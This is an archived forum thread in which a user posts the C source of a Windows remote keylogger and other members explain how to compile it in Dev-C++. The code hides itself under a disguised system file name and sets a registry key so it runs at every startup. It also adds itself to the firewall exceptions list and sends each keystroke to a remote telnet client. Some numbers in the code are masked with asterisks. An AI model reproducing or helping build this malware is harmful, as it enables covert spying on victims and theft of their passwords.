PDA

View Full Version : look at this



~~smart~fool~~
11-03-2006, 04:46 PM
this looks like a cool program; i know im stupid but how do i run it:confused:
thanks




/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* Name: Remote Logger V0.* *
* Author: NerveThraX *
* Date: *0/07/06 *6:5* *
* *
* A remote key logger that logs the keystrokes of a remote or local machine. *
* The keylogger starts a telnet server on port *80 of the remote host. *
* *
* This program is for educational purpose only. I am not responsible for any *
* damage this program might cause nor I am responsible how this program is *
* used. *
* *
* To access the key loggers remote features you will need to do the following.*
* *
* start -> run -> telnet <ipaddress_victim> *80 *
* *
* Now you wil be able to view the live feed of key strokes of the remote *
* machine. *
* *
* You can also use the key logger to log the keystrokes of a local machine, *
* since it keeps all keystrokes in a central file called log.txt in the *
* windows root directory. The key logger also paralyzes the windows firewall *
* so that no warning is message is made when the listing server is running,the*
* key logger also alters the reg keys so that it runs at every reboot. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
*******************************************************************************/

/*
The source code is compiled in Dev-C++ 4.*.*.2 linked to the ws2_*2.lib library.
The key logger seems to work stable in Windows XP Home/Pro Sp2, the key logger
also should work in Windows NT and 2000. You will want to choose a windows project
instead of a console project.
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <ctime>
#include <cstdlib>

using namespace std;

#define MAX *024

void win_firewall(char* display_name);


int main()
{
char system[MAX];
char pathtofile[MAX];

const char *name[] = {"\\LiveUpdate.exe", "\\WindowsSpooler.exe", "\\TelnetClient.exe",
"\\Microsoft.exe", "\\Sp2Firewall.exe", "\\regedat.exe",
"\\ieexplorer.exe", "\\Explorer.exe", "\\windowsClient.exe",
"\\MCAGENT.exe", "\\MCUPDATE.exe", "\\MFW2EN.exe", "\\MFWENG*.exe",
"\\MGUI.exe", "\\msconfig.exe", "\\MINILOG.exe", "\\MOOLIVE.exe", "\\MRFLUX.exe",
"\\MSCONFIG.exe", "\\MSINFO*2.exe", "\\MSSMMC*2.exe", "\\MU0***AD.exe",
"\\NAV80TRY.exe", "\\NAVAPW*2.exe", "\\NAVDX.exe", "\\NAVSTUB.exe",
"\\NAVW*2.exe", "\\NC2000.exe", "\\NCINST4.exe", "\\NDD*2.exe",
"\\NEOMONITOR.exe", "\\NETARMOR.exe", "\\NETINFO.exe", "\\NETMON.exe", 0};

srand(time(0));
int random = rand() % *5;
name[random];

/* Finds the windows directory and copies the key logger*/
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));

strcat(system,name[random]);
CopyFile(pathtofile,system,false);

/*Adds the reg key*/

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Microsoft Windows Sp2 Firewall",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

ofstream gen("log.txt");
gen.close();
win_firewall("Microsoft Update");

/*starts the listing server on port *80*/
WSADATA wsaData;
WSAStartup(MAKEWORD(*, *), &wsaData);
SOCKET hServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN sai;
sai.sin_family = AF_INET;
sai.sin_addr.s_addr = INADDR_ANY;
sai.sin_port = htons(*80);
bind(hServer,(LPSOCKADDR)&sai,sizeof(struct sockaddr));
listen(hServer,*0);
SOCKET hClient = accept(hServer,NULL,NULL);

char szBuffer[MAX_PATH];
char szKey[MAX_PATH];
int uScanCode;

ofstream cvg("log.txt" , ios::app);

while(*)
{

for(int i = 0; i < 256; i++)
{
/*gets the key***rd input*/
if (GetAsyncKeyState(i) == -*2767)
{
uScanCode = MapVirtualKeyEx(i,0,GetKey***rdLayout(0));
GetKeyNameText(uScanCode << *6,szKey,MAX_PATH);
if(strlen(szKey) > 0)
{
strcpy(szBuffer,"["); strcat(szBuffer, szKey); strcat(szBuffer,"]");
send(hClient,szBuffer,strlen(szBuffer),0);/*sends the key strokes*/

/*writes to the log.txt file*/
if(cvg.is_open())
{
cvg << szBuffer;
}

}
}

}
}
closesocket(hClient);
closesocket(hServer);
WSACleanup();
cvg.close();
}

void win_firewall(char* display_name)
{
/*adds itself to the windows firewall exceptions list*/
char path[MAX_PATH];
HMODULE ModH = GetModuleHandle(NULL);
GetModuleFileName(ModH, path, sizeof(path));
char data[MAX_PATH] = "";
strcpy (data, path);
strcat (data, ":*:Enabled:");
strcat (data, display_name);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet00*\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\Authoriz edApplications\\List", 0, KEY_SET_VALUE, &hKey);

RegSetValueEx(hKey, path,0,REG_SZ,(const unsigned char*)data,sizeof(data));
RegCloseKey(hKey);
}

Moonbat
11-03-2006, 05:06 PM
Well, get a compiler first. I use Dev C++, because it's free and has a good GUI

http://www.bloodshed.net/dev/devcpp.html

From there, install it, run it, go to File, then New, pick Source File. I guess copy/paste code in the box, then go to Execute, press Compile. It will bring up your directories, then you will have to save the file somewhere (remember that the compiled .exe will be placed in that location also). Then after it compiles, go to My Computer, find the place where you stored the source code file, and there should be a .exe there. You can run it, or do whatever else.

Edit: Before you do the source file part, go to File then New then Project, and pick windows project. The project will open. Then you should right clcik the project in the little box next to the box where you type in code. It should give you an option to add a source file to the project. Do this, then go ahead and copy/paste the code and stuff

~~smart~fool~~
11-03-2006, 05:09 PM
thanks mate

~~smart~fool~~
11-03-2006, 06:14 PM
dude this not working please can you do it:(

Moonbat
11-03-2006, 09:08 PM
I'm getting a whole bunch of linker errors. I think we have to edit something in the main.cpp, but I have no knowledge in Windows API, so I don't wanna go about editing stuff. Sorry I can't help you out.

Ezekiel
11-04-2006, 04:24 AM
I'm getting a whole bunch of linker errors. I think we have to edit something in the main.cpp, but I have no knowledge in Windows API, so I don't wanna go about editing stuff. Sorry I can't help you out.

In dev-cpp, go to Project -> Project Options, then click the 'Parameters' tab. On the right side is the 'Linker' column - click 'Add Library or Object' and in the 'lib' directory, find ws2_*2.lib. Select that, close the menu and compile.

~~smart~fool~~
11-04-2006, 05:39 PM
thanks mike and moonbat

Newby_Programme
11-18-2006, 08:04 PM
In dev-cpp, go to Project -> Project Options, then click the 'Parameters' tab. On the right side is the 'Linker' column - click 'Add Library or Object' and in the 'lib' directory, find ws2_*2.lib. Select that, close the menu and compile.

Now ive gotten a build error, what can i do to fix it?

bikinipink627
12-07-2006, 04:38 PM
smart fool, did you get this to work? I have the .exe file made and I ran it on my computer to see if it works, but my log.txt file is empty...

~~smart~fool~~
12-08-2006, 05:33 PM
no its useless, it was an example for bypassing win firewall.